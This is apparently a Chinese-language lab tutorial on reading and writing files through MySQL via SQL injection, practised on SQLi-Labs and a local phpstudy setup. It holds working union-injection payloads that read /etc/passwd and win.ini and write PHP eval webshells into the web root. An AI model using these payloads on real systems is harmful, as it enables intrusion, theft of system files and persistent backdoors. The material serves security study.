• 如果数据库的配置权限不当,攻击者可以通过 SQL 语句读写文件来进行进一步攻击以获取更多的权限,如读取网站配置文件、修改注册表文件、写入木马等。

读写权限判断/设置

  • MySQL 读写关键字段:secure_file_priv

  • secure_file_priv 关键值:

取值 含义
null 表示不允许读取/写入
dir 表示读取/写入限制在特定目录下
空值 表示读取/写入可以在任意目录下
  • 权限查看:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select @@secure_file_priv;
+--------------------+
| @@secure_file_priv |
+--------------------+
| NULL |
+--------------------+
1 row in set (0.00 sec)

mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+
1 row in set, 1 warning (0.00 sec)

Web 根路径获取

  • 常用 Web 根路径获取有:

    • 基于报错信息

    • 内置函数查询

      • @@datadir

      • @@basedir

    • 文件上传功能点

    • 文件泄露(phpinfo.php

文件读取/写入

  • 文件读取函数

    • load_file()
  • 文件写入函数

    • into outfile:数据可以写入多行,会进行特殊的格式转换。

    • into dumpfile:数据只能写入出一行,保持原有数据格式。

本地测试读写

1
2
3
4
5
6
7
8
9
10
11
# 读取
SELECT LOAD_FILE('C:/Windows/win.ini')
SELECT LOAD_FILE('E:/phpstudy_pro/WWW/Hello.txt')

# 写入
SELECT 'heihei' INTO DUMPFILE 'E:/phpstudy_pro/WWW/xixi.txt'
SELECT '<?php phpinfo();?>' INTO DUMPFILE 'E:/phpstudy_pro/WWW/phpinfo.php'

# 写入木马
SELECT '<?php eval($_REQUEST["a"])?>' INTO DUMPFILE 'E:/phpstudy_pro/WWW/shell.php'
SELECT "<?php eval($_REQUEST['a'])?>" INTO DUMPFILE 'E:/phpstudy_pro/WWW/shell1.php'

SQLi-Labs

Windows

  • SQLi-Labs(Windows,SQLi-Labs 2)
1
2
3
4
?id=-1 union select 1,2,load_file('C:/Windows/win.ini') 
?id=-1 union select 1,2,@@basedir # E:\phpstudy_pro\Extensions\MySQL5.7.26\
?id=-1 union select 1,2,load_file('E:/phpstudy_pro/WWW/index.html')
?id=-1 union select 1,2,'<?php @eval($_REQUEST[1]);echo 404;?>' into dumpfile 'E:/phpstudy_pro/WWW/shell.php' --+

Linux

  • SQLi-Labs(Linux,SQLi-Labs 2)
1
2
3
4
?id=-1 union select 1,2,load_file('/etc/passwd')
?id=-1 union select 1,2,@@datadir # /var/lib/mysql/
?id=-1 union select 1,2,load_file('/var/www/html/index.html')
?id=-1 union select 1,2,'<?php @eval($_REQUEST[1]);echo 404;?>' into dumpfile '/var/www/html/shell.php' --+ # Can't create/write to file '/var/www/html/shell.php' (Errcode: 13),作者的镜像有点问题,目录权限不对
  • 权限问题解决:
1
2
3
# 进入容器
docker exec -it container_name /bin/bash
chown -R mysql:mysql /var/www/*